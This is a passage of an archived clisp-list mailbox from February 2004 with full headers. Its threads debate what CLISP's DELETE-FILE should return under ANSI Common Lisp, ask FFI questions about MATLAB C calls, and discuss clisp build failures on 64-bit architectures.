webmail18.mac.com (8.12.6/8.12.2) with ESMTP id i1HIEFCL002271 for ; Tue, 17 Feb 2004 10:14:15 -0800 (PST) Message-ID: <7987063.1077041654995.JavaMail.dgou@mac.com> From: Douglas Philips To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] poll: DELETE-FILE return value Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 10:19:07 2004 X-Original-Date: Tue, 17 Feb 2004 13:14:14 -0500 On Tuesday, February 17, 2004, at 01:00PM, Sam Steingold wrote: >2. return T when *ANSI* is T and truename otherwise. > (I think introducing an extra user variable for this is silly) That seems the most sensible. If I were to get a vote, that would be my vote. Mail-Followup-To: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 10:25:06 2004 X-Original-Date: Tue, 17 Feb 2004 13:19:32 -0500 2 questions: 1. How do I interface to ? In addition to the simple (def-call-out engOutputBuffer (:arguments (ep Engine) (p c-pointer) (n int)) (:return-type int)) I will need to allocate and deallocate the buffer, right? So, is (setq z (allocate-shallow '(c-array char 1000))) (engOutputBuffer ep (c-var-address z) 1000) ... (engOutputBuffer ep NIL 0) (foreign-free z) the right thing? 2. How do I interface to ? char **matGetDir(MATFile *mfp, int *num); What is the return value? Also, the documentation appears to indicate that what is actually returned is (char*[mxMAXNAM]), not (char**): why would they mention mxCalloc() otherwise? PS. Any other matlab victims^H^H^H^H^H^H^Husers out there? -- Sam Steingold (http://www.podval.org/~sds) running w2k Incorrect time syncronization. From hin@van-halen.alma.com Tue Feb 17 10:37:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtA5t-0000mN-1B for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 10:37:17 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtA1f-00006j-R1 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 10:32:55 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 6DA1310DE4A for ; Tue, 17 Feb 2004 13:32:53 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i1HIWrnD013462 for ; Tue, 17 Feb 2004 13:32:53 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i1HIWruk013459; Tue, 17 Feb 2004 13:32:53 -0500 Message-Id: <200402171832.i1HIWruk013459@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 17 Feb 2004 13:00:50 -0500) Subject: Re: [clisp-list] poll: DELETE-FILE return value X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 10:38:13 2004 X-Original-Date: Tue, 17 Feb 2004 13:32:53 -0500 my votes in order of preference, w/ reasons: > 2. return T when *ANSI* is T and truename otherwise. > (I think introducing an extra user variable for this is silly) Yes: preserves existing code that relies on the truename and at the same time and guarantees ANSI-compliant when -ansi used ... > 1. just return T and forget the truename No, will break existing code (run w/out -ansi) that relies on the truename > 3. ignore the ANSI spec and keep the current behavior No, fails ANSI-compliance > 4. other options? If this were perl, it'd have to behave differently based on whether DELETE-FILE was called in a "boolean context" -- except when running in ANSI perl mode :) From kaz@footprints.net Tue Feb 17 11:05:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtAX3-0007im-QA for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:05:21 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtASp-0004JX-T3 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:00:59 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1AtASm-0007oc-00 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:00:56 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 11:06:03 2004 X-Original-Date: Tue, 17 Feb 2004 11:00:56 -0800 (PST) On Tue, 17 Feb 2004, Sam Steingold wrote: > 2. How do I interface to > ? > char **matGetDir(MATFile *mfp, int *num); > What is the return value? > Also, the documentation appears to indicate that what is actually > returned is (char*[mxMAXNAM]), not (char**): why would they mention This is not possible; a C function cannot return an array. :) I suspect that your actual suspiction is that it might be ``char (*)[mxMAXNAM]''. In other words, the pointer to an array of mxMAXNAM characters (or a pointer to the first element of an array of arrays, whose elements are arrays of mxMAXNAM characters). > mxCalloc() otherwise? They say: matGetDir returns a pointer to an internal array containing pointers to the NULL-terminated names so it's clear that it's ``char **'', just like the return type says. They must do some funny allocation to allow you to blow this away with just one call to their mxFree() function. The array of pointers and the string data are all allocated in one memory block. Or perhaps the array of pointers is dynamic, but the pointers are managed separately; maybe the MATFile object owns these strings, and the dynamic array is just used as a temporary object to retrieve the pointers in one call. They probably use their mxCalloc() function like this: char **arrayOfPointers = mxCalloc(numElements, sizeof arrayOfPointers[0]); so the use of a calloc-like allocator does not support your suspicion that it's not an array of pointers. From will@misconception.org.uk Tue Feb 17 11:13:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtAeo-0001Df-H4 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:13:22 -0800 Received: from cmailm2.svr.pol.co.uk ([195.92.193.210]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtAU9-0002v8-AQ for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:02:21 -0800 Received: from modem-352.javan.dialup.pol.co.uk ([81.78.161.96]) by cmailm2.svr.pol.co.uk with esmtp (Exim 4.14) id 1AtAaW-0003qi-QF for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 19:08:57 +0000 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp broken on all 64bit and one 32bit architecture User-Agent: KMail/1.5.4 References: <20040216152020.GA5345@boole.suse.de> <200402161748.16266.will@misconception.org.uk> <20040216182114.GA9051@wotan.suse.de> In-Reply-To: <20040216182114.GA9051@wotan.suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402171908.38859.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 11:14:04 2004 X-Original-Date: Tue, 17 Feb 2004 19:08:38 +0000 On Monday 16 Feb 2004 6:21 pm, Dr. Werner Fink wrote: > Hmmm ... -DNO_TYPECODES=1 for x86_64 aka AMD64 results in: x86_64 is a WIDE_HARD acrhitecture. The comment around lispbibl.d:2424 seems to suggest that building without typecodes on such an arch is not feasible. I am not sure why this is. > In other words: clisp is currently not portable to 64bit architecures? 64bit architectures with 64bit userland seem to be broken yes (e.g. it is possible to build on 32bit userland sparc and ppc). This has been broken only in the last release so should be relatively simple for someone with the right knowledge to fix I believe. From marcoxa@cs.nyu.edu Tue Feb 17 11:13:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtAeT-00017H-Io for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:13:01 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtATo-0002sE-E7 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:02:00 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 6598319D4E for ; Tue, 17 Feb 2004 14:08:34 -0500 (EST) Subject: Re: [clisp-list] poll: DELETE-FILE return value Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 11:14:10 2004 X-Original-Date: Tue, 17 Feb 2004 14:08:34 -0500 On Tuesday, Feb 17, 2004, at 13:00 America/New_York, Sam Steingold wrote: > In ANSI CL, DELETE-FILE is specified to return T on success. > CLISP returns the truename of the deleted file. > This is not compliant, albeit it offers a nice feature. > > How is this to be fixed? > > 1. just return T and forget the truename If the truename refers to a delete file what use can you have? > > 2. return T when *ANSI* is T and truename otherwise. > (I think introducing an extra user variable for this is silly) Nope. > > 3. ignore the ANSI spec and keep the current behavior Absolutely not. > > 4. other options? > Return T and the truename as a second value. marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From marcoxa@cs.nyu.edu Tue Feb 17 11:15:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtAga-0001fw-Tp for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:15:12 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtAcL-0005gX-Rx for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:10:49 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 2CEDA19D7F for ; Tue, 17 Feb 2004 14:10:46 -0500 (EST) Subject: Re: [clisp-list] poll: DELETE-FILE return value Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <200402171832.i1HIWruk013459@van-halen.alma.com> Message-Id: X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 11:16:02 2004 X-Original-Date: Tue, 17 Feb 2004 14:10:46 -0500 On Tuesday, Feb 17, 2004, at 13:32 America/New_York, John K. Hinsdale wrote: > > >> 1. just return T and forget the truename > > No, will break existing code (run w/out -ansi) that relies on the > truename Existing CLisp code already breaks in ANSI implementations. Cheers -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From marcoxa@cs.nyu.edu Tue Feb 17 11:22:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtAna-0003Nf-S1 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:22:26 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtAjM-0006bc-8K for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:18:04 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id DD29119D4E for ; Tue, 17 Feb 2004 14:18:02 -0500 (EST) Subject: Re: [clisp-list] poll: DELETE-FILE return value Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <01C99C7F-617E-11D8-9899-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 11:23:01 2004 X-Original-Date: Tue, 17 Feb 2004 14:18:03 -0500 On Tuesday, Feb 17, 2004, at 14:10 America/New_York, Marco Antoniotti wrote: > > On Tuesday, Feb 17, 2004, at 13:32 America/New_York, John K. Hinsdale > wrote: > >> >> >>> 1. just return T and forget the truename >> >> No, will break existing code (run w/out -ansi) that relies on the >> truename > > Existing CLisp code already breaks in ANSI implementations. Obviously with all the caveats and distinguos of the case. Cheers -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From toy@rtp.ericsson.se Tue Feb 17 11:53:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBI4-0001uV-Aw for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:53:56 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtBDp-0002UF-1O for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:49:33 -0800 Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i1HJmcLc002789 for ; Tue, 17 Feb 2004 13:48:38 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0); Tue, 17 Feb 2004 13:44:21 -0600 Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id F1MHV61P; Tue, 17 Feb 2004 13:48:46 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i1HJmhD10453 for ; Tue, 17 Feb 2004 13:48:45 -0600 (CST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] poll: DELETE-FILE return value References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Tue, 17 Feb 2004 13:00:50 -0500") Message-ID: <4noerxebc4.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 17 Feb 2004 19:44:21.0250 (UTC) FILETIME=[702A7E20:01C3F58E] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 11:54:12 2004 X-Original-Date: Tue, 17 Feb 2004 14:48:43 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> In ANSI CL, DELETE-FILE is specified to return T on success. Sam> CLISP returns the truename of the deleted file. Where does it say T? From the CLHS, I see that the syntax part says delete-file returns T, but in the description it says: delete-file returns true if it succeeds, or signals an error of type file-error if it does not. Where "true" basically means not NIL. Ray -- -- -- Ericsson may automatically add a disclaimer. Sorry, it's beyond my control. This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you. E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. From sds@gnu.org Tue Feb 17 12:00:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBOF-0003Oa-As for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:00:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtBJz-0003Lq-QH for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:55:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HJtVV3007628; Tue, 17 Feb 2004 14:55:31 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marco Antoniotti Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Marco Antoniotti's message of "Tue, 17 Feb 2004 14:08:34 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Marco Antoniotti Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:01:03 2004 X-Original-Date: Tue, 17 Feb 2004 14:55:30 -0500 > * Marco Antoniotti [2004-02-17 14:08:34 -0500]: > >> 1. just return T and forget the truename > If the truename refers to a delete file what use can you have? I do not understand this question. >> 4. other options? > Return T and the truename as a second value. this is not compliant either. DELETE-FILE returns 1 value. -- Sam Steingold (http://www.podval.org/~sds) running w2k Whether pronounced "leenooks" or "line-uks", it's better than Windows. From sds@gnu.org Tue Feb 17 12:02:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBPx-0003oQ-Dr for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:02:05 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtBFF-0000Mi-5u for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 11:51:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HJusV3008382; Tue, 17 Feb 2004 14:56:54 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marco Antoniotti Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <01C99C7F-617E-11D8-9899-000393A70920@cs.nyu.edu> (Marco Antoniotti's message of "Tue, 17 Feb 2004 14:18:03 -0500") References: <01C99C7F-617E-11D8-9899-000393A70920@cs.nyu.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marco Antoniotti Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:03:05 2004 X-Original-Date: Tue, 17 Feb 2004 14:56:54 -0500 > * Marco Antoniotti [2004-02-17 14:18:03 -0500]: > >>>> 1. just return T and forget the truename >>> >>> No, will break existing code (run w/out -ansi) that relies on the >>> truename >> >> Existing CLisp code already breaks in ANSI implementations. > Obviously with all the caveats and distinguos of the case. I do not understand these two sentences. Could you please elaborate? (neither of us is a native English speaker :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k My other CAR is a CDR. From amoroso@mclink.it Tue Feb 17 12:05:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBSv-0004YM-7w for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:05:09 -0800 Received: from mail4.mclink.it ([195.110.128.78]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtBOf-0003tv-BC for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:00:45 -0800 Received: from net145-062.mclink.it (net145-062.mclink.it [195.110.145.62]) by mail4.mclink.it (8.12.6p2/8.12.3) with ESMTP id i1HK0a9Z053095 for ; Tue, 17 Feb 2004 21:00:36 +0100 (CET) (envelope-from amoroso@mclink.it) Received: (qmail 866 invoked by uid 1000); 17 Feb 2004 19:18:26 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] poll: DELETE-FILE return value References: From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: (Sam Steingold's message of "Tue, 17 Feb 2004 13:00:50 -0500") Message-ID: <874qtpecql.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:06:03 2004 X-Original-Date: Tue, 17 Feb 2004 20:18:26 +0100 Sam Steingold writes: > In ANSI CL, DELETE-FILE is specified to return T on success. > CLISP returns the truename of the deleted file. > This is not compliant, albeit it offers a nice feature. > > How is this to be fixed? [...] > 2. return T when *ANSI* is T and truename otherwise. This is my preference. Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From sds@gnu.org Tue Feb 17 12:16:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBdf-00076H-Sd for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:16:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtBZP-0005JK-NF for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:11:51 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HKBeV3012585; Tue, 17 Feb 2004 15:11:41 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4noerxebc4.fsf@edgedsp4.rtp.ericsson.se> (Raymond Toy's message of "Tue, 17 Feb 2004 14:48:43 -0500") References: <4noerxebc4.fsf@edgedsp4.rtp.ericsson.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: 